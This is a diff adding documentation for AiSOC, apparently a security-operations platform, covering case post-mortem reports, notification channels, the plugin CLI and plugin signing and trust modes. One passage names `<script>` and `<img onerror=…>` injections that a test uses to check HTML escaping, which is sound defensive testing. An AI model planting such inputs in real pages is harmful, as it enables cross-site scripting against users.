on-call, exec | _What does this case look like **right now**?_ |+| `GET /api/v1/cases/{id}/postmortem` | Whole team, in retro | _What happened, when did we find out, what did we do, and what should we change?_ |++Both endpoints are **pure functions of case state** — same case, same data, same+output, every time. There is no LLM in the rendering path, so they are safe+for runbook archives, audit packages, and air-gapped deployments.++## When to use which++The summary is a **status snapshot**. It surfaces the current severity, MITRE+techniques, observables, evidence, comments, tasks, and a short list of+recommendations. Reach for it when you join a case mid-investigation, when an+exec asks "what is this case?", or when you need to hand a case off at+shift change.++The post-mortem is a **retrospective**. It reconstructs the timeline of the+incident, classifies the response actions taken, scores detection timing+against the SLA, calls out what went well and what fell short, and emits+concrete action items framed at systems and processes — not people. Reach+for it the moment a case is resolved or closed and you are about to schedule+the team retro.++## Output formats++Both endpoints accept a `format` query parameter:++- `format=json` (default) — the full structured payload (Pydantic model).+ Use this from the SDKs, MCP server, ChatOps bot, or any downstream+ automation.+- `format=html` — a self-contained HTML document with inline CSS, a+ print stylesheet, and a `Content-Disposition: inline; filename="…"` header.+ Open it in a browser and hit Ctrl/Cmd-P → Save as PDF for the runbook+ archive. No server-side PDF rendering, no headless browser, no fonts to+ ship.++```bash+# Structured payload — feed into a wider pipeline+curl -H "Authorization: Bearer $AISOC_TOKEN" \+ "$AISOC_API/api/v1/cases/CASE-1234/postmortem"++# Print-ready HTML — drop into the runbook archive+curl -H "Authorization: Bearer $AISOC_TOKEN" \+ "$AISOC_API/api/v1/cases/CASE-1234/postmortem?format=html" \+ -o case-1234-postmortem.html+```++The case identifier accepts either the human case number (`CASE-1234`) or+the underlying UUID — same resolution rules as every other `/cases/{id}`+endpoint.++## What the post-mortem includes++Each `CasePostmortem` payload is composed of seven sections, all derived+deterministically from the case row, comments, and tasks:++1. **Headline** — one-line summary keyed off severity, technique label, and+ resolution status.+2. **Incident overview** — case label, opened/triaged/resolved/closed+ timestamps, severity, status, MITRE ATT&CK techniques bucketed by+ tactic, and total time-to-resolution.+3. **Detection** — when the alert fired, when an analyst first touched it,+ first-touch latency, and whether the SLA was breached. Paired with a+ `detection_gaps` list for any structural problems we should fix+ (e.g. "first analyst touch arrived after 4h — extend on-call alerting").+4. **Response** — every analyst action bucketed into a small, stable set+ (`triage`, `containment`, `eradication`, `recovery`, `comms`,+ `evidence`, `escalation`, `other`), plus a numeric effectiveness score+ (`actions_taken`, `actions_overdue`, `automated_count`,+ `effectiveness_score` 0–100).+5. **Timeline** — chronological lifecycle events (opened, triaged,+ resolved, closed) merged with system + analyst comments. The narrative+ strips author names so the timeline is **about the incident**, not+ about people.+6. **What went well / What fell short** — short bullet lists derived from+ measurable signals: SLA met vs missed, first-touch latency, action+ throughput, technique coverage, etc.+7. **Action items** — concrete, system-focused follow-ups+ (`detection`, `process`, `automation`, `tooling`, `documentation`,+ `training`) with priority (`now`, `next`, `later`) and an optional+ `target` system. When a case is genuinely clean, the list contains a+ single neutral marker so consumers always have at least one row to+ render.++## Blameless by design++The post-mortem is **explicitly blameless**:++- Analyst names are stored in the underlying comments so we can audit who+ did what, but the rendered narrative — "What went well", "What fell+ short", and the timeline — never surfaces individual handles.+- Action items are framed at the system layer ("extend on-call alerting",+ "add auto-containment for technique T1078") rather than at people+ ("X should respond faster").+- Both signals "first analyst touch was slow" and "no analyst touched+ this high-severity case" route into structural detection-gap items, not+ into individual feedback.++This is the same property the testsuite enforces: see+[`tests/test_case_postmortem.py::test_render_case_postmortem_html_omits_analyst_names`](https://github.com/beenuar/AiSOC/blob/main/services/api/tests/test_case_postmortem.py).++## Determinism & audit++Both endpoints are pure functions of `(case row, comments, tasks)`. The+test suite asserts this directly:++- `test_build_summary_is_deterministic` and+ `test_build_postmortem_is_deterministic` build the same artefact twice+ from identical inputs and `model_dump()` them — byte-for-byte equality.+- `test_postmortem_round_trips_through_pydantic_json` serialises the+ artefact to JSON and parses it back — the round-trip is lossless, so+ the payload is safe to checkpoint into the audit log.+- The HTML renderer is XSS-safe via `html.escape` on every untrusted+ field — the test+ `test_render_case_postmortem_html_escapes_user_data` injects+ `<script>` and `<img onerror=…>` into case titles, comments, and+ techniques and asserts they appear escaped, never as live tags.++Because the renderers are pure and the inputs are versioned (case row ++append-only comments + tasks), the artefacts can be regenerated identically+months later — useful for audit, compliance, and disputed-incident+review.++## Where the code lives++| Concern | File |+|---|---|+| Auto-summary builder + Pydantic schema | [`services/api/app/services/case_summary.py`](https://github.com/beenuar/AiSOC/blob/main/services/api/app/services/case_summary.py) |+| Auto-summary HTML renderer | [`services/api/app/services/case_summary_html.py`](https://github.com/beenuar/AiSOC/blob/main/services/api/app/services/case_summary_html.py) |+| Post-mortem builder + Pydantic schema | [`services/api/app/services/case_postmortem.py`](https://github.com/beenuar/AiSOC/blob/main/services/api/app/services/case_postmortem.py) |+| Post-mortem HTML renderer | [`services/api/app/services/case_postmortem_html.py`](https://github.com/beenuar/AiSOC/blob/main/services/api/app/services/case_postmortem_html.py) |+| HTTP endpoints | [`services/api/app/api/v1/endpoints/cases.py`](https://github.com/beenuar/AiSOC/blob/main/services/api/app/api/v1/endpoints/cases.py) |+| Tests | [`services/api/tests/test_case_summary.py`](https://github.com/beenuar/AiSOC/blob/main/services/api/tests/test_case_summary.py) · [`tests/test_case_postmortem.py`](https://github.com/beenuar/AiSOC/blob/main/services/api/tests/test_case_postmortem.py) |++## Operational tip — automate the runbook archive++The case status-change handler already drops a system comment pointing to+`/summary` whenever a case enters `resolved` or `closed`. You can mirror+that for post-mortems by curling `?format=html` on the same trigger from+your retro process, dropping the file into your runbook bucket, and+linking it back into the case as evidence. Because the renderer is+deterministic, the same case will always produce the same archive — no+diffing surprises six months later.diff --git a/apps/docs/docs/operations/notifications.md b/apps/docs/docs/operations/notifications.mdnew file mode 100644index 000000000..73398ea4c--- /dev/null+++ b/apps/docs/docs/operations/notifications.md@@ -0,0 +1,274 @@+---+sidebar_position: 9+title: Notifications & alerting+description: All the ways AiSOC notifies humans — Slack ChatOps, Web Push to the responder PWA, email/webhook tickets, and honeytoken first-touch alerts — and how to configure each one.+---++# Notifications and alerting++AiSOC has multiple **outbound notification surfaces**, each tuned for a+different kind of human-in-the-loop moment. This page is the one place that+explains what they are, when each fires, and what you need to set in your+environment to make them work.++## At a glance++| Surface | Who sees it | Triggered by | Service |+|---|---|---|---|+| **Web Push** (PWA) | On-call responder on a phone/desktop | P0 alerts, agent approvals, on-call hand-off | `services/realtime` |+| **Slack ChatOps** | Whole `#security-alerts` channel | Playbook `notify_slack` action, slash commands | `services/slack-bot` |+| **Slack/Teams verification prompt** | A specific user (the affected account) | `chatops.verify` action in a playbook | `services/actions` |+| **Ticketing** (Jira / ServiceNow / PagerDuty) | The ITSM queue | Playbook `create_ticket` action | `services/actions` |+| **Honeytoken webhook** | Whatever URL you point it at | A honeytoken being touched | `services/honeytokens` |+| **Connector-freshness email/webhook** | Tenant owner | A connector going stale | `services/api` |++All of these speak the same operational principle: **the system sends, the+human decides**. AiSOC never auto-resolves an incident on the back of a+notification reply unless the explicit `chatops.verify` flow has been wired+up and the user clicks **Yes, that was me**.++---++## 1. Web Push to the responder PWA++The mobile responder PWA lives at `apps/web` and is delivered by `services/realtime`. When a P0 fires, an agent needs an approval, or you snooze yourself off the on-call rotation, the realtime service fans out a [Web Push](https://www.w3.org/TR/push-api/) notification to every registered subscription for the target user / tenant / topic.++**How to enable it**++1. Generate a VAPID keypair once per environment:+ ```bash+ pnpm dlx web-push generate-vapid-keys+ ```+2. Set three environment variables on the realtime service:++ | Variable | Required | Notes |+ |---|---|---|+ | `VAPID_PUBLIC_KEY` | yes | URL-safe base64. Also exposed via `GET /api/v1/push/public-key` so the PWA can subscribe. |+ | `VAPID_PRIVATE_KEY` | yes | URL-safe base64. **Never** ship this to the browser. |+ | `VAPID_SUBJECT` | yes | Contact URL or `mailto:` — required by the Push spec. |++3. Set the gateway → realtime hop on the API service:++ | Variable | Required | Notes |+ |---|---|---|+ | `REALTIME_BASE_URL` | yes | e.g. `http://realtime:8086` in a Compose / k8s setup. |+ | `REALTIME_INTERNAL_TOKEN` | recommended | Shared secret stamped on every proxied call as `X-AiSOC-Internal-Token`. |++4. The PWA then calls four gateway endpoints (mounted under `/api/v1/push/*`):++ - `GET /public-key` — fetched once on service-worker install.+ - `POST /subscribe` — body is the browser `PushSubscription`; subject to the standard `AuthUser` dependency.+ - `POST /unsubscribe` — body `{ "endpoint": "..." }`.+ - `POST /test` — sends a single test notification to the calling user's devices, used by the PWA settings screen.++**Storage**++Subscriptions are stored in Redis with a 90-day TTL, keyed by tenant, user, and topic:++```+aisoc:push:sub:<id> → JSON SubscriptionRecord+aisoc:push:tenant:<tenant_id> → SET of subscription ids+aisoc:push:user:<tenant>:<user_id> → SET of subscription ids+aisoc:push:topic:<tenant>:<topic> → SET of subscription ids+```++That layout is what lets a single `PushManager.sendToTarget(...)` call fan out to (a) a whole tenant on a P0 alert, (b) just the on-call user for an approval request, or (c) everyone subscribed to a topic such as `p0_alert`, `agent_approval`, or `oncall_handoff`.++**Topics shipped by default**++| Topic | Sender | Meaning |+|---|---|---|+| `p0_alert` | alert-fusion | A new P0 / high-severity alert was just produced. |+| `agent_approval` | agents | An LLM-initiated action is waiting on a human. |+| `oncall_handoff` | api (oncall endpoints) | The on-call schedule rolled over. |++If push delivery returns `404` or `410` (subscription expired or removed by the browser), the realtime service evicts the subscription from Redis automatically — the next `/subscribe` call from the PWA replaces it.++---++## 2. Slack ChatOps (`/aisoc`)++`services/slack-bot` is a thin Bolt-for-Python adapter. It owns no security state — every command is just a `httpx` call back to `services/api` or `services/actions` using a service-scoped `aisoc_*` API key.++**Slash commands**++| Command | Behaviour |+|---|---|+| `/aisoc list` | Top 10 open cases as severity-coloured Block Kit cards. |+| `/aisoc investigate <case>` | Fires an investigation run for the case. |+| `/aisoc explain <case>` | Pulls the per-case auto-summary. |+| `/aisoc isolate <host>` | Submits an `isolate_host` action — gated, posts an Approve / Deny card. |+| `/aisoc block <ip>` | Submits a `block_ip` action — gated, posts an Approve / Deny card. |+| `/aisoc help` | Inline command reference. |++**Required environment**++| Variable | Notes |+|---|---|+| `SLACK_BOT_TOKEN` | `xoxb-…` bot user OAuth token. |+| `SLACK_SIGNING_SECRET` | Used by Bolt to verify Slack request signatures. |+| `AISOC_API_BASE_URL` | e.g. `http://aisoc-api:8000`. |+| `AISOC_ACTIONS_BASE_URL` | e.g. `http://aisoc-actions:8085`. |+| `AISOC_API_SERVICE_TOKEN` | API key with `cases:read,cases:write,alerts:read`. |+| `AISOC_ACTIONS_SERVICE_TOKEN` | API key with `actions:write` (or shared key). |+| `AISOC_DEFAULT_TENANT_ID` | UUID of the tenant Slack actions belong to. |+| `AISOC_WEB_BASE_URL` | Optional. Public web URL used for deep-linked cards. Default `https://app.tryaisoc.com`. |++Slack tokens **must** come from your secret store (Doppler / Vault / k8s Secret). `pnpm preflight` fails the build if it spots a Slack token in tracked files.++---++## 3. Slack `notify_slack` from a playbook++The `notify_slack` action executor is the simplest possible Slack surface: a one-shot incoming-webhook POST. It does not require the Slack bot to be running.++```yaml+# playbooks/auto-isolate-on-p0.yaml+steps:+ - id: notify+ type: notify_slack+ parameters:+ webhook_url: "https://hooks.slack.com/services/..."+ channel: "#security-alerts"+ message: |+ AiSOC isolated host {{ context.host }} after P0 alert {{ context.alert_id }}.+```++Implementation: [`services/actions/app/executors/notification.py`](https://github.com/beenuar/AiSOC/blob/main/services/actions/app/executors/notification.py).++Failure mode is non-fatal but visible: if the webhook returns non-2xx the executor returns `ActionStatus.FAILED` with the underlying error string, the playbook step is marked failed, and the rest of the playbook runs as authored (typically with the failure path branching to `escalate_to_human`).++---++## 4. ChatOps user-verification (Slack / Teams)++`chatops.verify` is the "is this you?" prompt used by impossible-travel, compromised-account, and OAuth-grant playbooks. It is not just a notification — it is an interactive callback flow.++**Flow**++1. The executor mints **three** HMAC-signed callback tokens: `acknowledge`, `deny`, `escalate`.+2. Each token expires after `AISOC_CHATOPS_TIMEOUT_SECONDS` (default 30 minutes) and carries the action, case, tenant, user reference, and choice.+3. A Block Kit message (Slack) or Connector Card (Teams) is posted with three buttons.+4. The action returns `ActionStatus.RUNNING` — the playbook is now waiting on a human reply, it is not blocked on the request loop.+5. The user clicks a button → callback hits `services/actions` → the case timeline gets a `chatops.verify.<choice>` event → the playbook resumes on the chosen branch.++**Required environment**++| Variable | Notes |+|---|---|+| `AISOC_FEATURE_CHATOPS_VERIFY=1` | Feature flag. The executor returns `FAILED` (not silently no-ops) if it is off, so misconfiguration is loud. |+| `AISOC_ACTIONS_PUBLIC_URL` | Public URL the user's browser will be redirected to when they click a button. |+| `AISOC_CHATOPS_HMAC_SECRET` | Used to sign and verify the three per-choice tokens. |+| `AISOC_CHATOPS_TIMEOUT_SECONDS` | Optional. Default `1800`. |++The Slack/Teams transport credentials themselves are stored in the credential vault per-tenant (see [Credentials](./credentials)) — the executor reads them out at run-time, not from environment variables, so a single deployment can serve multiple tenants with different Slack workspaces.++---++## 5. Tickets (`create_ticket`)++The `create_ticket` action executor is the canonical hand-off into your ITSM tool. **As of this release the in-tree executor is intentionally simulated** — it returns a `SIM-TICKET-<id>` and a "plug in Jira / ServiceNow / PagerDuty to enable live execution" note. Two ways to make it real:++1. **Plugin path (recommended).** Ship a [Plugin SDK](../plugins/overview) plugin that registers a `LiveActionExecutor` for `(vendor_id="jira", capability="create_ticket")` (or ServiceNow / PagerDuty). The agent layer will pick it up automatically through the [live actions interface](../concepts/live-actions).+2. **In-tree path.** Replace `CreateTicketExecutor.execute` in `services/actions/app/executors/notification.py` with a real REST call. This is fine for one tenant and one ITSM tool, but every additional vendor pushes the codebase wider — the plugin path scales.++Either way, the playbook YAML is unchanged:++```yaml+- id: ticket+ type: create_ticket+ parameters:+ system: jira # or servicenow, pagerduty, ...+ project: SEC+ priority: P1+ summary: "{{ context.alert.title }}"+ description: "{{ context.alert.summary }}"+```++---++## 6. Honeytoken first-touch webhook++When a honeytoken is touched (`honeytoken.triggered`), `services/honeytokens` posts a signed JSON payload to `settings.alert_webhook_url` *and* feeds the same event into the alert-fusion pipeline. The webhook is the **first-touch** path so you get paged even if the rest of AiSOC is degraded.++**Payload**++```json+{+ "event": "honeytoken.triggered",+ "honeytoken_id": "…",+ "tenant_id": "…",+ "token_type": "aws_iam",+ "token_name": "billing-readonly",+ "trigger_id": "…",+ "source_ip": "203.0.113.42",+ "triggered_at": "2026-05-12T18:00:00Z"+}+```++**Required environment**++| Variable | Notes |+|---|---|+| `ALERT_WEBHOOK_URL` | Where to POST the JSON payload. Empty string disables outbound alerting (the in-band timeline event is still written). |+| `ALERT_WEBHOOK_SECRET` | If set, the executor signs the body with HMAC-SHA256 and sends the digest as `X-AiSOC-Signature: sha256=<hex>`. |++Verify the signature on the receiver side with:++```python+import hmac, hashlib+expected = hmac.new(secret.encode(), request.body, hashlib.sha256).hexdigest()+assert hmac.compare_digest(expected, request.headers["X-AiSOC-Signature"].split("=", 1)[1])+```++---++## 7. Connector-freshness alerts++`services/api/app/services/connector_freshness.py` runs on a schedule and flips a connector's status to `stale` when it has not heartbeat'd within its configured window. The status change is visible in the web UI, the `/api/v1/connectors` endpoint, and (if you have the realtime service wired) is also pushed to the responder PWA on the `connector_health` topic.++There is no extra config — `connector_health` is a built-in topic that any subscribed device receives automatically.++---++## Suppression and quiet hours++You generally do **not** want to suppress notifications inside AiSOC itself — silencing is something your paging tool (PagerDuty, Opsgenie, native Slack DND, the PWA's per-user snooze) is much better at. AiSOC offers two narrow controls:++- **Per-user on-call status**. The `/api/v1/oncall` endpoint lets a responder mark themselves `available | busy | offline | snoozed`. The realtime service skips Web Push fan-out to anyone in `offline` or `snoozed`.+- **Slack channel routing**. `notify_slack` always honors the `channel` parameter — point overnight playbooks at `#security-alerts-overnight` rather than trying to suppress the daytime channel.++Anything more sophisticated (rotation logic, escalation policies, holiday calendars) belongs in the on-call tool that owns those concepts. AiSOC ships *to* PagerDuty / Opsgenie, not around them.++---++## Testing your wiring++The fastest end-to-end smoke test, in order of how much you have to set up:++1. **Web Push.** Open the PWA → Settings → Notifications → **Send test**. Hits `POST /api/v1/push/test`, which invokes `pushManager.sendToTarget(...)` on every registered device for the calling user. If you do not see a notification within ~5s, check the realtime logs for `web-push` errors — typically a stale subscription, a wrong VAPID key, or a missing `VAPID_SUBJECT`.+2. **Slack `notify_slack`.** Curl the action directly:+ ```bash+ curl -X POST "$AISOC_ACTIONS_BASE_URL/api/v1/actions" \+ -H "Authorization: Bearer $AISOC_ACTIONS_SERVICE_TOKEN" \+ -H "Content-Type: application/json" \+ -d '{+ "action_type": "notify_slack",+ "parameters": {+ "webhook_url": "'"$SLACK_TEST_WEBHOOK"'",+ "channel": "#aisoc-test",+ "message": "hello from AiSOC"+ },+ "rationale": "manual smoke test"+ }'+ ```+3. **ChatOps verify.** Run any playbook that includes a `chatops.verify` step against your own user, then click one of the three buttons. The case timeline should show a `chatops.verify.prompted` event followed by `chatops.verify.<choice>`.+4. **Honeytoken webhook.** `pnpm aisoc honeytokens trigger <token-id>` (or hit the trigger URL in your browser). The configured webhook should receive the JSON payload within a couple of seconds.++---++## Related++- [Live Actions](../concepts/live-actions) — how the action substrate that powers `notify_slack`, `create_ticket`, and `chatops.verify` works under the hood.+- [Playbooks](../concepts/playbooks) — the YAML grammar that wires these notification actions into a response flow.+- [Credential vault & secrets](./credentials) — where Slack / Teams / Jira credentials are stored at rest.diff --git a/apps/docs/docs/plugins/cli.md b/apps/docs/docs/plugins/cli.mdnew file mode 100644index 000000000..5af633d35--- /dev/null+++ b/apps/docs/docs/plugins/cli.md@@ -0,0 +1,98 @@+---+sidebar_position: 5+---++# Plugin CLI (`aisoc-cli`)++The `aisoc-cli` ships scaffolding, validation, packaging, signing, and trust+management commands for every supported plugin type — `enricher`, `connector`,+`responder`, `detection`, and `widget`.++The CLI source lives under `packages/aisoc-cli/`. Install it from the repo for+hacking on it locally:++```bash+pip install -e packages/aisoc-cli+```++Or install the published wheel:++```bash+pip install aisoc-cli+```++## Scaffolding new plugins++Use `aisoc plugin new` to scaffold a brand-new plugin from the bundled+templates for its type. The legacy `aisoc plugin scaffold` command remains+available as an alias for backwards compatibility.++```bash+# Recommended+aisoc plugin new "Wazuh Connector" \+ --type connector \+ --output-dir plugins/ \+ --author "My Org <[email protected]>"++# Backwards-compatible alias+aisoc plugin scaffold "Wazuh Connector" --type connector --output-dir plugins/+```++| Flag | Default | Description |+|---|---|---|+| `NAME` (positional) | — | Human-readable plugin name. Lower-cased and dash-separated to derive the slug used as `id` and directory name. |+| `--type, -t` | `enricher` | One of `enricher`, `connector`, `responder`, `detection`, `widget`. |+| `--output-dir, -o` | `.` | Parent directory to create the plugin folder in. |+| `--author` | `Your Name <[email protected]>` | Author string written into `plugin.yaml`. |++The command refuses to overwrite an existing directory and prints the next+steps (edit `plugin.yaml`, implement the entry point, run `aisoc plugin+validate`).++### What you get per plugin type++The scaffolder uses [string.Template](https://docs.python.org/3/library/string.html#template-strings)+substitution for `${slug}`, `${name}`, and `${author}` and lays out the+following files:++| Type | Files |+|---|---|+| `enricher` | `plugin.yaml`, `plugin.py`, `README.md` |+| `connector` | `plugin.yaml`, `connector.py`, `README.md` |+| `responder` | `plugin.yaml`, `plugin.py`, `README.md` |+| `detection` | `plugin.yaml`, `rules/example.yaml`, `README.md` |+| `widget` | `plugin.yaml`, `widget.py`, `README.md` |++The canonical templates live inside the CLI package at+`packages/aisoc-cli/src/aisoc_cli/templates/<type>/` and are loaded at runtime+via `importlib.resources`, so they ship inside the wheel. Edit the `.tmpl`+files there to change what new plugins look like.++The repo-level `plugins/templates/README.md` is a documentation pointer to+that location.++## Validating plugins++```bash+aisoc plugin validate plugins/wazuh-connector/plugin.yaml+# or pass the directory and validate all manifests inside+aisoc plugin validate plugins/wazuh-connector+```++`validate` parses the YAML manifest against the same JSON schema the platform+uses at install time. It checks required fields (`id`, `name`, `version`,+`plugin_type`, `entry_point`, …), enum values, and the `id` slug pattern.++## Packaging, signing, and trust++The CLI also wraps the workflows documented under+[Publishing Plugins](./publishing):++```bash+aisoc plugin keygen --out ./keys/myorg+aisoc plugin sign --plugin-dir ./my-enricher --private-key $KEY+aisoc plugin package --plugin-dir ./my-enricher --out dist/+```++Run `aisoc plugin --help` for the full command list and `aisoc plugin <cmd>+--help` for individual command flags.diff --git a/apps/docs/docs/plugins/lifecycle.md b/apps/docs/docs/plugins/lifecycle.mdnew file mode 100644index 000000000..007c25d76--- /dev/null+++ b/apps/docs/docs/plugins/lifecycle.md@@ -0,0 +1,189 @@+---+sidebar_position: 6+title: Plugin lifecycle+description: How a plugin moves from "files on disk" to "running, signature-verified, hot-reloadable code in the platform" — and how to operate it once it is loaded.+---++# Plugin lifecycle++The [overview](./overview) and [publishing](./publishing) pages cover the+*author*'s side of the story. This page is the *operator*'s side: what the+platform actually does between "plugin files appear on disk" and "the plugin+is running inside `services/api`", and what controls you have at each step.++## States++Every loaded plugin sits in exactly one of these states. The `signature_status`+field is independent — a plugin can be `enabled` and `unsigned`, or+`disabled` and `verified`. Both are exposed on `GET /api/v1/plugins`.++| State | Meaning | Reachable from |+|---|---|---|+| **Discovered** | A directory with a valid `plugin.yaml` (or legacy `aisoc-plugin.json`) was found in `AISOC_PLUGINS_DIR`. | `POST /plugins/discover`, startup auto-discovery |+| **Loaded** | The Python module imported successfully and the manifest schema validated. | Discovered → Loaded (automatic) |+| **Enabled** | Loaded **and** invocations are accepted. The default for newly discovered plugins. | Loaded, Disabled |+| **Disabled** | Loaded **but** `run` calls are blocked at the manager. Useful for "keep it warm but stop traffic." | Enabled |+| **Unloaded** | Removed from memory. Files remain on disk. The next discovery cycle will load it again unless the directory is removed. | Enabled, Disabled |+| **Failed** | Discovery / load raised an error. The error string is returned on `GET /plugins/{id}`. | Discovered → Failed |++| `signature_status` | Meaning |+|---|---|+| `verified` | Ed25519 signature matched a key in `PLUGIN_TRUSTED_KEYS_DIR`. |+| `unsigned` | No `plugin.sig` file present. Loadable only when `PLUGIN_TRUST_MODE != strict`. |+| `invalid` | A `plugin.sig` exists but failed verification. Loadable only in `warn`. |+| `skipped` | `PLUGIN_TRUST_MODE=disabled` — checks were not run. **Not** for production. |++## Lifecycle diagram++```text+ ┌──────────┐ discover() ┌─────────┐ signature ┌─────────┐+ │ on disk │────────────────▶│ Loaded │────check───▶│ Enabled │+ └──────────┘ └─────────┘ └────┬────┘+ ▲ │ │+ │ │ disable() │ enable()+ │ ▼ ▼+ │ ┌──────────┐ ┌──────────┐+ │ reload() │ Disabled │◀──────────│ Enabled │+ └──── unload() ─────────└──────────┘ └──────────┘+```++`reload()` re-imports the Python module from disk in place, so a hot-fix can+land without restarting the API process. The plugin's previous `enabled`+state is preserved across the reload.++## Trust modes++`PLUGIN_TRUST_MODE` is the single switch that decides what the loader does+on signature failure. The default in production is `strict` for a reason —+plugins execute arbitrary Python via `importlib.exec_module`, so an+unsigned/invalid plugin is a remote code execution vector if `AISOC_PLUGINS_DIR`+is writable by anyone other than the operator.++| Mode | On unsigned | On invalid signature | On valid + trusted | Use for |+|---|---|---|---|---|+| `strict` (default) | Refuse to load | Refuse to load | Load, `verified` | Production. |+| `warn` | Load, `unsigned` | Load, `invalid` | Load, `verified` | Bootstrapping a key-rotation programme. |+| `disabled` | Load, `skipped` | Load, `skipped` | Load, `skipped` | Throwaway dev sandboxes only. |++The settings preflight (`services/api/app/core/config.py`) emits a+`PLUGIN_TRUST_MODE=disabled outside development` warning at startup if you+ship `disabled` to a non-dev `ENVIRONMENT`. Listen to it.++## Discovery++Two ways a plugin gets discovered:++### 1. Filesystem (`AISOC_PLUGINS_DIR`)++On startup the API scans `AISOC_PLUGINS_DIR` (default `/opt/aisoc/plugins`)+for any subdirectory containing a manifest. Anything new is loaded; anything+that disappeared is left behind in memory until the operator calls+`DELETE /plugins/{id}`.++To trigger a re-scan without a restart:++```bash+curl -X POST "$AISOC_API/api/v1/plugins/discover" \+ -H "Authorization: Bearer $TOKEN"+# → { "discovered": ["wazuh-connector", "shodan-enricher"] }+```++Required permission: `plugins:admin`.++### 2. OCI image (`install_from_oci`)++For pull-based delivery (CI / GitOps-style flows), the manager can pull a+plugin from an OCI registry via the [ORAS](https://oras.land) CLI:++```python+plugin_id = await plugin_manager.install_from_oci(+ "ghcr.io/myorg/aisoc-plugins/shodan-enricher:1.2.0",+)+```++The image's primary layer is extracted into `AISOC_PLUGINS_DIR/<plugin_id>`+and then loaded through the same discovery path. Signature checks still+apply — packing a `plugin.sig` into the OCI artifact is part of your CI+build, not something AiSOC fakes for you.++## Operator API++Every endpoint requires a token with the matching permission. Operator+tokens are RBAC-controlled, not service-scoped — you do **not** want a+shared `aisoc_*` API key holding `plugins:admin` in production.++| Endpoint | Permission | What it does |+|---|---|---|+| `GET /api/v1/plugins` | `plugins:read` | List all loaded plugins. Optional `?plugin_type=connector` filter. |+| `GET /api/v1/plugins/{id}` | `plugins:read` | Single-plugin detail incl. `signature_status` and `error`. |+| `POST /api/v1/plugins/discover` | `plugins:admin` | Re-scan `AISOC_PLUGINS_DIR`. |+| `POST /api/v1/plugins/{id}/enable` | `plugins:admin` | Move `Disabled` → `Enabled`. |+| `POST /api/v1/plugins/{id}/disable` | `plugins:admin` | Move `Enabled` → `Disabled`. Keeps it loaded. |+| `POST /api/v1/plugins/{id}/reload` | `plugins:admin` | Re-import the module from disk. Preserves `enabled` state. |+| `DELETE /api/v1/plugins/{id}` | `plugins:admin` | Unload from memory. Files on disk are untouched. |+| `POST /api/v1/plugins/{id}/run` | `plugins:execute` | Direct invocation. Useful for one-off enrichment, smoke tests, and `aisoc-cli`. |++A typical operator pipeline:++```bash+# 1. Author publishes a new version → CI uploads to OCI registry.+# 2. Operator pulls and loads it:+curl -X POST "$AISOC_API/api/v1/plugins/install_from_oci" \+ -H "Authorization: Bearer $TOKEN" \+ -d '{"oci_ref": "ghcr.io/myorg/aisoc-plugins/shodan-enricher:1.2.0"}'++# 3. Smoke-test it with a real input:+curl -X POST "$AISOC_API/api/v1/plugins/shodan-enricher/run" \+ -H "Authorization: Bearer $TOKEN" \+ -d '{"payload": {"ip": "1.1.1.1"}}'++# 4. If the smoke test looks bad, disable without unloading:+curl -X POST "$AISOC_API/api/v1/plugins/shodan-enricher/disable" \+ -H "Authorization: Bearer $TOKEN"++# 5. Roll a hot-fix → push new commits to the plugin directory → reload:+curl -X POST "$AISOC_API/api/v1/plugins/shodan-enricher/reload" \+ -H "Authorization: Bearer $TOKEN"+```++## Configuration reference++| Variable | Default | Purpose |+|---|---|---|+| `AISOC_PLUGINS_DIR` | `/opt/aisoc/plugins` | Where the loader looks for plugin directories. |+| `PLUGIN_TRUST_MODE` | `strict` | One of `strict`, `warn`, `disabled`. |+| `PLUGIN_TRUSTED_KEYS_DIR` | `/opt/aisoc/plugin-keys` | Directory of PEM-encoded Ed25519 public keys. **All** PEMs in it are tried per signature; one match is enough. |++Mount these the way you mount any other piece of trust:++- `AISOC_PLUGINS_DIR` — typically a Persistent Volume (k8s) or a host-bind mount (Docker Compose). It must **not** be writable by anyone other than the operator role that pulls plugins.+- `PLUGIN_TRUSTED_KEYS_DIR` — read-only mount, owned by root, mode `0444` per file.++## Versioning, upgrades, and rollback++The loader's identity is `manifest.id`, **not** the directory name. That means:++- Upgrading is "drop a new version of the same `id` into a new directory, reload, delete the old directory, re-discover." A reload is not enough on its own to switch versions because the previous module is what gets re-imported — you need the new files on disk, then the operator decides whether to swap.+- Rollback is the reverse: drop the previous version back into `AISOC_PLUGINS_DIR`, run discovery, run reload. The platform never deletes plugin files — that is always the operator's call.+- Two plugins with the same `manifest.id` is a **load-time error**. The first one wins; the second is reported as `Failed` with a clear duplicate-id message in `error`.++## Observability++Every state transition is logged through `structlog` and shows up in your+audit pipeline if you have `services/api/app/middleware/audit_middleware.py`+forwarding to it. The events worth alerting on:++| Event | Meaning |+|---|---|+| `plugin.load.failed` | Discovery found a manifest but the module would not import. |+| `plugin.signature.invalid` | A `plugin.sig` exists but did not match a trusted key. **In production this is a red flag** — it usually means the key got rotated without the operator copying the new PEM into `PLUGIN_TRUSTED_KEYS_DIR`. |+| `plugin.signature.unsigned` (warn mode only) | An unsigned plugin loaded. |+| `plugin.duplicate_id` | Two directories ship the same `manifest.id`. |+| `plugin.reload.completed` | A hot-reload landed cleanly. Useful for change tracking. |++## Related++- [Plugin Overview](./overview) — types, marketplace, and high-level model.+- [Publishing Plugins](./publishing) — Ed25519 signing flow and trust setup.+- [Plugin CLI](./cli) — `aisoc plugin {new,validate,sign,package}` commands.+- [Live Actions](../concepts/live-actions) — how a `LiveActionExecutor` plugin is discovered and dispatched at run time.diff --git a/apps/docs/sidebars.ts b/apps/docs/sidebars.tsindex 5ef24189e..dbadad174 100644--- a/apps/docs/sidebars.ts+++ b/apps/docs/sidebars.ts@@ -15,6 +15,7 @@ const sidebars: SidebarsConfig = {"concepts/cases","concepts/playbooks","concepts/detections",+ "concepts/live-actions",],},{@@ -51,8 +52,10 @@ const sidebars: SidebarsConfig = {"connectors/github","connectors/tailscale","connectors/osctrl",+ "connectors/wazuh","connectors/fleetdm","connectors/osquery-extensions",+ "connectors/auditd","connectors/wiz","connectors/aws-security-hub","connectors/lacework",@@ -84,6 +87,8 @@ const sidebars: SidebarsConfig = {"operations/air-gapped","operations/theming","operations/upgrades",+ "operations/notifications",+ "operations/case-reports","operations/troubleshooting","operations/faq","operations/adoption-questions",@@ -98,12 +103,14 @@ const sidebars: SidebarsConfig = {"plugins/hello-plugin","plugins/go-sdk","plugins/publishing",+ "plugins/cli",+ "plugins/lifecycle",],},{type: "category",label: "Integrations",- items: ["integrations/mcp"],+ items: ["integrations/mcp", 